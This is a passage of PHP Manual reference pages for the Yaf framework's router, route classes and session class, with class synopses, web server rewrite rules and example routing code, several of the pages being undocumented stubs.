If the pattern given by the first parameter of Yaf_Route_Regex::_construct() matche the request uri, return TRUE, otherwise return FALSE.

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Regex::__construct
Yaf_Route_Rewrite
Yaf_Route_Regex


The Yaf_Route_Rewrite class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Route_Rewrite extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* Properties */
protected $_route ;
protected $_default ;
protected $_verify ;
/* Methods */
public __construct ( string $match , array $route [, array $verify ] )
public bool route ( Yaf_Request_Abstract $request )
/* Inherited methods */
abstract public bool Yaf_Route_Interface::route ( Yaf_Request_Abstract $request )
}

Properties

_route

_default

_verify

Table of Contents

  • Yaf_Route_Rewrite::__construct — The __construct purpose
  • Yaf_Route_Rewrite::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Regex::route
Yaf_Route_Rewrite::__construct
Yaf


The __construct purpose

Yaf_Route_Rewrite
Yaf_Route_Rewrite::route
Yaf_Route_Rewrite
PHP Manual

Yaf_Route_Rewrite::__construct

(PECL yaf >=1.0.0)

Yaf_Route_Rewrite::__construct — The __construct purpose

Description

public Yaf_Route_Rewrite::__construct ( string $match , array $route [, array $verify ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

match

A pattern, will be used to match a request uri, if doesn't matched, Yaf_Route_Rewrite will return FALSE.

route

When the match pattern matches the request uri, Yaf_Route_Rewrite will use this to decide which m/c/a to routed.

either of m/c/a in this array is optianl, if you don't assgian a specific value, it will be routed to default.

verify

Return Values

Examples

Example #1 Yaf_Route_Rewrite()example

<?php
   /**
    * Add a rewrite route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_rewrite(
           "/product/:name/:id/*", //match request uri leading "/product"
           array(
               'controller' => "product",  //route to product controller,
           ),
        )
    );
?>

The above example will output something similar to:

/* for http://yourdomain.com/product/foo/22/foo/bar
 * route will result in following values:
 */
array(
  "controller" => "product",
  "module"     => "index", //(default)
  "action"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "name" => "foo",
  "id"   => 22,
  "foo"  => bar
)

Example #2 Yaf_Route_Rewrite()example

<?php
   /**
    * Add a rewrite route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "rewrite",        //Yaf_Route_Rewrite route
           "match" => "/user-list/:id", //match only /user/list/?/
           "route" => array(
               'controller' => "user",  //route to user controller,
               'action'     => "list",  //route to list action
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

The above example will output something similar to:

/* for http://yourdomain.com/user-list/22
 * route will result in following values:
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "id"   => 22,
)

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Rewrite
Yaf_Route_Rewrite::route
Yaf_Route_Rewrite


The route purpose

Yaf_Route_Rewrite::__construct
Yaf_Router
Yaf_Route_Rewrite
PHP Manual

Yaf_Route_Rewrite::route

(PECL yaf >=1.0.0)

Yaf_Route_Rewrite::route — The route purpose

Description

public bool Yaf_Route_Rewrite::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Rewrite::__construct
Yaf_Router
Yaf_Route_Rewrite


The Yaf_Router class

(No version information available, might only be in SVN)

Introduction

Yaf_Router is the standard framework router. Routing is the process of taking a URI endpoint (that part of the URI which comes after the base URL) and decomposing it into parameters to determine which module, controller, and action of that controller should receive the request. This values of the module, controller, action and other parameters are packaged into a Yaf_Request_Abstract object which is then processed by Yaf_Dispatcher. Routing occurs only once: when the request is initially received and before the first controller is dispatched. Yaf_Router is designed to allow for mod_rewrite-like functionality using pure PHP structures. It is very loosely based on Ruby on Rails routing and does not require any prior knowledge of webserver URL rewriting. It is designed to work with a single Apache mod_rewrite rule (one of):

Example #1 Rewrite rule for Apache

RewriteEngine on
RewriteRule !\.(js|ico|gif|jpg|png|css|html)$ index.php
or (preferred):

Example #2 Rewrite rule for Apache

RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
If using Lighttpd, the following rewrite rule is valid:

Example #3 Rewrite rule for Lighttpd

url.rewrite-once = (
  ".*\?(.*)$" => "/index.php?$1",
  ".*\.(js|ico|gif|jpg|png|css|html)$" => "$0",
  "" => "/index.php"
)
If using Nginx, use the following rewrite rule:

Example #4 Rewrite rule for Nginx

server {
  listen ****;
  server_name  yourdomain.com;
  root   document_root;
  index  index.php index.html;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php/$1 last;
  }
}

Default route

Yaf_Router comes preconfigured with a default route, which will match URIs in the shape of controller/action. Additionally, a module name may be specified as the first path element, allowing URIs of the form module/controller/action. Finally, it will also match any additional parameters appended to the URI by default - controller/action/var1/value1/var2/value2.

Note:

Module name must be defined in config, considering application.module="Index,Foo,Bar", in this case, only index, foo and bar can be considerd as a module name. if doesn't config, there is only one module named "Index".

Some examples of how such routes are matched:

Example #5 Yaf_Route_Static(default route)example

// Assuming the following configure:
$conf = array(
   "application" => array(
      "modules" => "Index,Blog",
   ),
);

Controller only:
http://example/news
    controller == news
Action only(when defined yaf.action_prefer=1 in php.ini)
    action  == news

Invalid module maps to controller name:
http://example/foo
    controller == foo

Module + controller:
http://example/blog/archive
    module     == blog
    controller == archive

Module + controller + action:
http://example/blog/archive/list
    module     == blog
    controller == archive
    action     == list

Module + controller + action + params:
http://example/blog/archive/list/sort/alpha/date/desc
    module     == blog
    controller == archive
    action     == list
    sort       == alpha
    date       == desc

Class synopsis

Yaf_Router {
/* Properties */
protected $_routes ;
protected $_current ;
/* Methods */
public void addConfig ( Yaf_Config_Abstract $config )
public Yaf_Router addRoute ( string $name , Yaf_Route_Abstract $route )
public __construct ( void )
public string getCurrentRoute ( void )
public void getRoute ( string $name )
public void getRoutes ( void )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

_routes

_current

Table of Contents

  • Yaf_Router::addConfig — Add config-defined routes into Router
  • Yaf_Router::addRoute — Add new Route into Router
  • Yaf_Router::__construct — Yaf_Router constructor
  • Yaf_Router::getCurrentRoute — Get the effective route name
  • Yaf_Router::getRoute — The getRoute purpose
  • Yaf_Router::getRoutes — The getRoutes purpose
  • Yaf_Router::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Rewrite::route
Yaf_Router::addConfig
Yaf


Add config-defined routes into Router

Yaf_Router
Yaf_Router::addRoute
Yaf_Router
PHP Manual

Yaf_Router::addConfig

(PECL yaf >=1.0.0)

Yaf_Router::addConfig — Add config-defined routes into Router

Description

public void Yaf_Router::addConfig ( Yaf_Config_Abstract $config )

Add Routes defined in application.ini into Yaf_Router's route stack

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 application.ini()example

;the order is very important, the prior one will be called first

;a rewrite route match request /product/*/*
routes.route_name.type="rewrite"
routes.route_name.match="/product/:name/:value"
routes.route_name.route.controller=product
routes.route_name.route.action=info

;a regex route match request /list/*/*
routes.route_name1.type="regex"
routes.route_name1.match="#^list/([^/]*)/([^/]*)#"
routes.route_name1.route.controller=Index
routes.route_name1.route.action=action
routes.route_name1.map.1=name
routes.route_name1.map.2=value

;a simple router match /**?r=PATH_INFO
routes.route_name3.type="supervar"
routes.route_name3.varname=r

;a simple route match /**?c=controller&a=action&m=module
routes.route_name2.type="simple"
routes.route_name2.controller=c
routes.route_name2.module=m
routes.route_name2.action=a

Example #2 Yaf_Dispatcher::autoConfig()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        /**
         * we can add some pre-defined routes in application.ini
         */
        $router->addConfig(Yaf_Registry::get("config")->routes);
    }
?>

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router
Yaf_Router::addRoute
Yaf_Router


Add new Route into Router

Yaf_Router::addConfig
Yaf_Router::__construct
Yaf_Router
PHP Manual

Yaf_Router::addRoute

(PECL yaf >=1.0.0)

Yaf_Router::addRoute — Add new Route into Router

Description

public Yaf_Router Yaf_Router::addRoute ( string $name , Yaf_Route_Abstract $route )

defaultly, Yaf_Router using a Yaf_Route_Static as its defualt route. you can add new routes into Router's route stack by calling this method.

the newer route will be called before the older(route stack), and if the newer router return TRUE, the router process will be end. otherwise, the older one will be called.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Dispatcher::autoRender()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        /**
         * we can add some pre-defined routes in application.ini
         */
        $router->addConfig(Yaf_Registry::get("config")->routes);
        /**
         * add a Rewrite route, then for a request uri:
         * http://***/product/list/22/foo
         * will be matched by this route, and result:
         *
         *  [module] =>
         *  [controller] => product
         *  [action] => info
         *  [method] => GET
         *  [params:protected] => Array
         *      (
         *          [id] => 22
         *          [name] => foo
         *      )
         *
         */
        $route  = new Yaf_Route_Rewrite(
            "/product/list/:id/:name",
            array(
                "controller" => "product",
                "action"     => "info",
            )
        );

        $router->addRoute('dummy', $route);
    }
?>

See Also

  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router::addConfig
Yaf_Router::__construct
Yaf_Router


Yaf_Router constructor

Yaf_Router::addRoute
Yaf_Router::getCurrentRoute
Yaf_Router
PHP Manual

Yaf_Router::__construct

(PECL yaf >=1.0.0)

Yaf_Router::__construct — Yaf_Router constructor

Description

public Yaf_Router::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router::addRoute
Yaf_Router::getCurrentRoute
Yaf_Router


Get the effective route name

Yaf_Router::__construct
Yaf_Router::getRoute
Yaf_Router
PHP Manual

Yaf_Router::getCurrentRoute

(PECL yaf >=1.0.0)

Yaf_Router::getCurrentRoute — Get the effective route name

Description

public string Yaf_Router::getCurrentRoute ( void )

Get the name of the route which is effective in the route process.

Note:

You should call this method after the route process finished, since before that, this method will always return NULL.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

String, the name of the effective route.

Examples

Example #1 Register some routes in Bootstrap

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        $rewrite_route  = new Yaf_Route_Rewrite(
            "/product/list/:page",
            array(
                "controller" => "product",
                "action"     => "list",
            )
        );

        $regex_route  = new Yaf_Route_Rewrite(
            "#^/product/info/(\d+)",
            array(
                "controller" => "product",
                "action"     => "info",
            )
        );

        $router->addRoute('rewrite', $rewrite_route)->addRoute('regex', $regex_route);
    }

    /**
     * register plugin
     */
    public function __initPlugins(Yaf_Dispatcher $dispatcher) {
        $dispatcher->registerPlugin(new DummyPlugin());
    }
?>

Example #2 plugin Dummy.php (under application.directory/plugins)

<?php
class DummyPlugin extends Yaf_Plugin_Abstract {

    public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
         var_dump(Yaf_Dispatcher::getInstance()->getRouter()->getCurrentRoute());
    }
?>
?>

The above example will output something similar to:

/* for http://yourdomain.com/product/list/1
 * DummyPlugin will output:
 */
string(7) "rewrite"

/* for http://yourdomain.com/product/info/34
 * DummyPlugin will output:
 */
string(5) "regex"

/* for other request URI
 * DummyPlugin will output:
 */
string(8) "_default"

See Also

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - Add new Route into Router

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router::__construct
Yaf_Router::getRoute
Yaf_Router


The getRoute purpose

Yaf_Router::getCurrentRoute
Yaf_Router::getRoutes
Yaf_Router
PHP Manual

Yaf_Router::getRoute

(PECL yaf >=1.0.0)

Yaf_Router::getRoute — The getRoute purpose

Description

public void Yaf_Router::getRoute ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router::getCurrentRoute
Yaf_Router::getRoutes
Yaf_Router


The getRoutes purpose

Yaf_Router::getRoute
Yaf_Router::route
Yaf_Router
PHP Manual

Yaf_Router::getRoutes

(PECL yaf >=1.0.0)

Yaf_Router::getRoutes — The getRoutes purpose

Description

public void Yaf_Router::getRoutes ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router::getRoute
Yaf_Router::route
Yaf_Router


The route purpose

Yaf_Router::getRoutes
Yaf_Route_Simple
Yaf_Router
PHP Manual

Yaf_Router::route

(PECL yaf >=1.0.0)

Yaf_Router::route — The route purpose

Description

public bool Yaf_Router::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router::getRoutes
Yaf_Route_Simple
Yaf_Router


The Yaf_Route_Simple class

(No version information available, might only be in SVN)

Introduction

Yaf_Route_Simple will match the query string, and find the route info.

all you need to do is tell Yaf_Route_Simple what key in the $_GET is module, what key is controller, and what key is action.

Yaf_Route_Simple::route() will always return TRUE, so it is important put Yaf_Route_Simple in the front of the Route stack, otherwise all the other routes will not be called.

Class synopsis

Yaf_Route_Simple implements Yaf_Route_Interface {
/* Properties */
protected $controller ;
protected $module ;
protected $action ;
/* Methods */
public __construct ( string $module_name , string $controller_name , string $action_name )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

controller

module

action

Table of Contents

  • Yaf_Route_Simple::__construct — Yaf_Route_Simple constructor
  • Yaf_Route_Simple::route — Route a request

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Router::route
Yaf_Route_Simple::__construct
Yaf


Yaf_Route_Simple constructor

Yaf_Route_Simple
Yaf_Route_Simple::route
Yaf_Route_Simple
PHP Manual

Yaf_Route_Simple::__construct

(PECL yaf >=1.0.0)

Yaf_Route_Simple::__construct — Yaf_Route_Simple constructor

Description

public Yaf_Route_Simple::__construct ( string $module_name , string $controller_name , string $action_name )

Yaf_Route_Simple will get route info from query string. and the parameters of this constructor will used as keys while searching for the route info in $_GET.

Warning

This function is currently not documented; only its argument list is available.

Parameters

module_name

The key name of the module info.

controller_name

the key name of the controller info.

action_name

the key name of the action info.

Return Values

Always return TRUE.

Examples

Example #1 Yaf_Route_Simple::route()example

<?php
   $route = new Yaf_Route_Simple("m", "controller", "act");
   Yaf_Router::getInstance()->addRoute("simple", $route);
?>

Example #2 Yaf_Route_Simple::route()example

Request: http://yourdomain.com/path/?controller=a&act=b
=> module = default(index), controller = a, action = b

Request: http://yourdomain.com/path
=> module = default(index), controller = default(index), action = default(index)

See Also

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - Route a request
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Simple
Yaf_Route_Simple::route
Yaf_Route_Simple


Route a request

Yaf_Route_Simple::__construct
Yaf_Route_Static
Yaf_Route_Simple
PHP Manual

Yaf_Route_Simple::route

(PECL yaf >=1.0.0)

Yaf_Route_Simple::route — Route a request

Description

public bool Yaf_Route_Simple::route ( Yaf_Request_Abstract $request )

see Yaf_Route_Simple::__construct()

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

always be TRUE

See Also

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - Route a request
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Simple::__construct
Yaf_Route_Static
Yaf_Route_Simple


The Yaf_Route_Static class

(No version information available, might only be in SVN)

Introduction

Defaultly, Yaf_Router only have a Yaf_Route_Static as its default route.

And Yaf_Route_Static is designed to handle the 80% requirement.

please *NOTE* that it is unecessary to instance a Yaf_Route_Static, also unecesary to add it into Yaf_Router's route stack, since there is always be one in Yaf_Router's route stack, and always be called at the last time.

Class synopsis

Yaf_Route_Static implements Yaf_Router {
/* Methods */
public void match ( string $uri )
public bool route ( Yaf_Request_Abstract $request )
}

Table of Contents

  • Yaf_Route_Static::match — The match purpose
  • Yaf_Route_Static::route — Route a request

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Simple::route
Yaf_Route_Static::match
Yaf


The match purpose

Yaf_Route_Static
Yaf_Route_Static::route
Yaf_Route_Static
PHP Manual

Yaf_Route_Static::match

(PECL yaf >=1.0.0)

Yaf_Route_Static::match — The match purpose

Description

public void Yaf_Route_Static::match ( string $uri )

Warning

This function is currently not documented; only its argument list is available.

Parameters

uri

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Static
Yaf_Route_Static::route
Yaf_Route_Static


Route a request

Yaf_Route_Static::match
Yaf_Route_Supervar
Yaf_Route_Static
PHP Manual

Yaf_Route_Static::route

(PECL yaf >=1.0.0)

Yaf_Route_Static::route — Route a request

Description

public bool Yaf_Route_Static::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

always be TRUE

Examples

Example #1 Yaf_Route_Static::route()example

// assuming there is only one module defined:Index
Request: http://yourdomain.com/a/b
=> module = index, controller=a, action=b

//assuming ap.action_prefer = On
Request: http://yourdomain.com/b
=> module = default(index), controller = default(index), action = b

//assuming ap.action_prefer = Off
Request: http://yourdomain.com/b
=> module = default(index), controller = b, action = default(index)

Request: http://yourdomain.com/a/b/foo/bar/test/a/id/4
=> module = default(index), controller = a, action = b, request parameters: foo = bar, test = a, id = 4

See Also

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Simple::route() - Route a request
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Static::match
Yaf_Route_Supervar
Yaf_Route_Static


The Yaf_Route_Supervar class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Route_Supervar implements Yaf_Route_Interface {
/* Properties */
protected $_var_name ;
/* Methods */
public __construct ( string $supervar_name )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

_var_name

Table of Contents

  • Yaf_Route_Supervar::__construct — The __construct purpose
  • Yaf_Route_Supervar::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Static::route
Yaf_Route_Supervar::__construct
Yaf


The __construct purpose

Yaf_Route_Supervar
Yaf_Route_Supervar::route
Yaf_Route_Supervar
PHP Manual

Yaf_Route_Supervar::__construct

(PECL yaf >=1.0.0)

Yaf_Route_Supervar::__construct — The __construct purpose

Description

public Yaf_Route_Supervar::__construct ( string $supervar_name )

Yaf_Route_Supervar is similar with Yaf_Route_Static, the difference is Yaf_Route_Supervar will look for path info in query string, and the parameter supervar_name is the key.

Warning

This function is currently not documented; only its argument list is available.

Parameters

supervar_name

The name of key.

Return Values

Examples

Example #1 Yaf_Route_Supervar()example

<?php
   /**
    * Add a supervar route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Supervar("r"));
    );
?>

The above example will output something similar to:

/** for request: http://yourdomain.com/xx/oo/?r=/ctr/act/var/value
  * will result in following:
  */
  array (
    "module"   => index(default),
    "controller" => ctr,
    "action"     => act,
    "params"     => array(
          "var" => value,
     )
  )

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Regex
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Supervar
Yaf_Route_Supervar::route
Yaf_Route_Supervar


The route purpose

Yaf_Route_Supervar::__construct
Yaf_Session
Yaf_Route_Supervar
PHP Manual

Yaf_Route_Supervar::route

(PECL yaf >=1.0.0)

Yaf_Route_Supervar::route — The route purpose

Description

public bool Yaf_Route_Supervar::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

If there is a key(which was defined in Yaf_Route_Supervar::__construct()) in $_GET, return TRUE. otherwise return FALSE.

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Supervar::__construct
Yaf_Session
Yaf_Route_Supervar


The Yaf_Session class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Session implements Iterator , Traversable , ArrayAccess , Countable {
/* Properties */
protected static $_instance ;
protected $_session ;
protected $_started ;
/* Methods */
private void __clone ( void )
__construct ( void )
public void count ( void )
public void current ( void )
public void del ( string $name )
public void __get ( string $name )
public static void getInstance ( void )
public void has ( string $name )
public void __isset ( string $name )
public void key ( void )
public void next ( void )
public void offsetExists ( string $name )
public void offsetGet ( string $name )
public void offsetSet ( string $name , string $value )
public void offsetUnset ( string $name )
public void rewind ( void )
public void __set ( string $name , string $value )
private void __sleep ( void )
public void start ( void )
public void __unset ( string $name )
public void valid ( void )
private void __wakeup ( void )
}

Properties

_instance

_session

_started

Table of Contents

  • Yaf_Session::__clone — The __clone purpose
  • Yaf_Session::__construct — The __construct purpose
  • Yaf_Session::count — The count purpose
  • Yaf_Session::current — The current purpose
  • Yaf_Session::del — The del purpose
  • Yaf_Session::__get — The __get purpose
  • Yaf_Session::getInstance — The getInstance purpose
  • Yaf_Session::has — The has purpose
  • Yaf_Session::__isset — The __isset purpose
  • Yaf_Session::key — The key purpose
  • Yaf_Session::next — The next purpose
  • Yaf_Session::offsetExists — The offsetExists purpose
  • Yaf_Session::offsetGet — The offsetGet purpose
  • Yaf_Session::offsetSet — The offsetSet purpose
  • Yaf_Session::offsetUnset — The offsetUnset purpose
  • Yaf_Session::rewind — The rewind purpose
  • Yaf_Session::__set — The __set purpose
  • Yaf_Session::__sleep — The __sleep purpose
  • Yaf_Session::start — The start purpose
  • Yaf_Session::__unset — The __unset purpose
  • Yaf_Session::valid — The valid purpose
  • Yaf_Session::__wakeup — The __wakeup purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Supervar::route
Yaf_Session::__clone
Yaf


The __clone purpose

Yaf_Session
Yaf_Session::__construct
Yaf_Session
PHP Manual

Yaf_Session::__clone

(PECL yaf >=1.0.0)

Yaf_Session::__clone — The __clone purpose

Description

private void Yaf_Session::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session
Yaf_Session::__construct
Yaf_Session


The __construct purpose

Yaf_Session::__clone
Yaf_Session::count
Yaf_Session
PHP Manual

Yaf_Session::__construct

(PECL yaf >=1.0.0)

Yaf_Session::__construct — The __construct purpose

Description

Yaf_Session::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__clone
Yaf_Session::count
Yaf_Session


The count purpose

Yaf_Session::__construct
Yaf_Session::current
Yaf_Session
PHP Manual

Yaf_Session::count

(PECL yaf >=1.0.0)

Yaf_Session::count — The count purpose

Description

public void Yaf_Session::count ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__construct
Yaf_Session::current
Yaf_Session


The current purpose

Yaf_Session::count
Yaf_Session::del
Yaf_Session
PHP Manual

Yaf_Session::current

(PECL yaf >=1.0.0)

Yaf_Session::current — The current purpose

Description

public void Yaf_Session::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::count
Yaf_Session::del
Yaf_Session


The del purpose

Yaf_Session::current
Yaf_Session::__get
Yaf_Session
PHP Manual

Yaf_Session::del

(PECL yaf >=1.0.0)

Yaf_Session::del — The del purpose

Description

public void Yaf_Session::del ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::current
Yaf_Session::__get
Yaf_Session


The __get purpose

Yaf_Session::del
Yaf_Session::getInstance
Yaf_Session
PHP Manual

Yaf_Session::__get

(PECL yaf >=1.0.0)

Yaf_Session::__get — The __get purpose

Description

public void Yaf_Session::__get ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::del
Yaf_Session::getInstance
Yaf_Session


The getInstance purpose

Yaf_Session::__get
Yaf_Session::has
Yaf_Session
PHP Manual

Yaf_Session::getInstance

(PECL yaf >=1.0.0)

Yaf_Session::getInstance — The getInstance purpose

Description

public static void Yaf_Session::getInstance ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__get
Yaf_Session::has
Yaf_Session


The has purpose

Yaf_Session::getInstance
Yaf_Session::__isset
Yaf_Session
PHP Manual

Yaf_Session::has

(PECL yaf >=1.0.0)

Yaf_Session::has — The has purpose

Description

public void Yaf_Session::has ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::getInstance
Yaf_Session::__isset
Yaf_Session


The __isset purpose

Yaf_Session::has
Yaf_Session::key
Yaf_Session
PHP Manual

Yaf_Session::__isset

(PECL yaf >=1.0.0)

Yaf_Session::__isset — The __isset purpose

Description

public void Yaf_Session::__isset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::has
Yaf_Session::key
Yaf_Session


The key purpose

Yaf_Session::__isset
Yaf_Session::next
Yaf_Session
PHP Manual

Yaf_Session::key

(PECL yaf >=1.0.0)

Yaf_Session::key — The key purpose

Description

public void Yaf_Session::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__isset
Yaf_Session::next
Yaf_Session


The next purpose

Yaf_Session::key
Yaf_Session::offsetExists
Yaf_Session
PHP Manual

Yaf_Session::next

(PECL yaf >=1.0.0)

Yaf_Session::next — The next purpose

Description

public void Yaf_Session::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::key
Yaf_Session::offsetExists
Yaf_Session


The offsetExists purpose

Yaf_Session::next
Yaf_Session::offsetGet
Yaf_Session
PHP Manual

Yaf_Session::offsetExists

(PECL yaf >=1.0.0)

Yaf_Session::offsetExists — The offsetExists purpose

Description

public void Yaf_Session::offsetExists ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::next
Yaf_Session::offsetGet
Yaf_Session


The offsetGet purpose

Yaf_Session::offsetExists
Yaf_Session::offsetSet
Yaf_Session
PHP Manual

Yaf_Session::offsetGet

(PECL yaf >=1.0.0)

Yaf_Session::offsetGet — The offsetGet purpose

Description

public void Yaf_Session::offsetGet ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::offsetExists
Yaf_Session::offsetSet
Yaf_Session


The offsetSet purpose

Yaf_Session::offsetGet
Yaf_Session::offsetUnset
Yaf_Session
PHP Manual

Yaf_Session::offsetSet

(PECL yaf >=1.0.0)

Yaf_Session::offsetSet — The offsetSet purpose

Description

public void Yaf_Session::offsetSet ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::offsetGet
Yaf_Session::offsetUnset
Yaf_Session


The offsetUnset purpose

Yaf_Session::offsetSet
Yaf_Session::rewind
Yaf_Session
PHP Manual

Yaf_Session::offsetUnset

(PECL yaf >=1.0.0)

